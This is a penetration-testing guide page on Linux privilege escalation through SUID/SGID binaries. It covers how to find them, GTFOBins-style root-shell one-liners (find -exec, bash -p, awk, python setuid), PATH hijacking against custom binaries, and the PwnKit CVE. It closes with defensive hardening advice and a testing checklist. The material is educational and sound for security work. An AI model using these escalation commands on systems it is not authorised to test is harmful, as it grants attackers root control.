SUID/SGID Binaries
The SUID (Set User ID) bit makes a binary run with the permissions of its owner, not of whoever launches it. It’s needed for certain operations (e.g. passwd needs to write /etc/shadow as root), but when a root SUID binary does something the attacker can redirect toward a shell, it becomes direct escalation to root. It’s one of the most common and reliable Linux privesc vectors.
How it works
Section titled “How it works”-rwsr-xr-x 1 root root ... /usr/bin/passwd ^ s in place of the owner's x = SUIDWhen you run a root-SUID binary, the process runs as root during its execution. If that binary allows reading/writing arbitrary files, running commands, or spawning an interpreter, you redirect it to get a root shell.
Find SUID/SGID binaries
Section titled “Find SUID/SGID binaries”# SUID (root owner running as root)find / -perm -4000 -type f 2>/dev/null# SGIDfind / -perm -2000 -type f 2>/dev/null# both, with detailfind / -perm -u=s -o -perm -g=s -type f 2>/dev/null -lsGTFOBins: the key to exploitation
Section titled “GTFOBins: the key to exploitation”GTFOBins catalogs how to abuse each standard binary. If a SUID binary is there, you have the exact recipe:
# typical examples (if they have root SUID)find . -exec /bin/sh -p \; -quit # find with SUID -> root shellbash -p # bash with SUIDcp: overwrite /etc/passwd or /etc/shadowless/more/vi/nano: spawn a shell from the pager/editorawk 'BEGIN {system("/bin/sh")}'python -c 'import os;os.setuid(0);os.system("/bin/sh")'nmap --interactive (old versions)The -p flag in bash/sh matters: it preserves privileges (without it, bash drops them).
Custom and badly-written binaries
Section titled “Custom and badly-written binaries”Non-standard SUID binaries (a company’s own programs) are especially juicy:
# what does the binary do? does it call other programs without an absolute path?strings /path/suid_binary # look for system() calls, paths, commandsltrace / strace ./suid_binary # see what it runs in real time# PATH hijacking: if it calls "service" without a path -> create your malicious "service" in PATHexport PATH=/tmp:$PATH ; echo '/bin/sh -p' > /tmp/service ; chmod +x /tmp/service# command injection if it passes arguments without sanitizationA SUID binary that calls another command without an absolute path (system("service x")) is vulnerable to PATH hijacking → execution as root.
Famous CVEs in SUID binaries
Section titled “Famous CVEs in SUID binaries”pkexec (Polkit) -> PwnKit (CVE-2021-4034): root on almost any LinuxExim, Sendmail -> several# always: cross-reference the binary+version with known exploitsFor the defense
Section titled “For the defense”- Audit and minimize SUID/SGID binaries: remove the bit from those that don’t need it (
chmod -s). - Inventory: know exactly which SUID binaries exist and why; alert on new ones.
- Custom binaries: never SUID if they call other commands; absolute paths, input validation, least privilege.
- Mount with
nosuidthe partitions where SUID shouldn’t exist (/tmp,/home, external media). - Patching (PwnKit and similar); AppArmor/SELinux to confine.
Testing checklist
Section titled “Testing checklist”- List SUID/SGID (
find -perm -4000/-2000) - Cross-reference each with GTFOBins
- Exploit abusable standard binaries (find, bash -p, cp…)
- Analyze custom binaries (strings/ltrace) for system()/PATH
- PATH hijacking if they call commands without an absolute path
- Known CVEs (PwnKit/pkexec)
- Verify the -p flag to preserve privileges
- Blue: SUID minimized, nosuid, patched?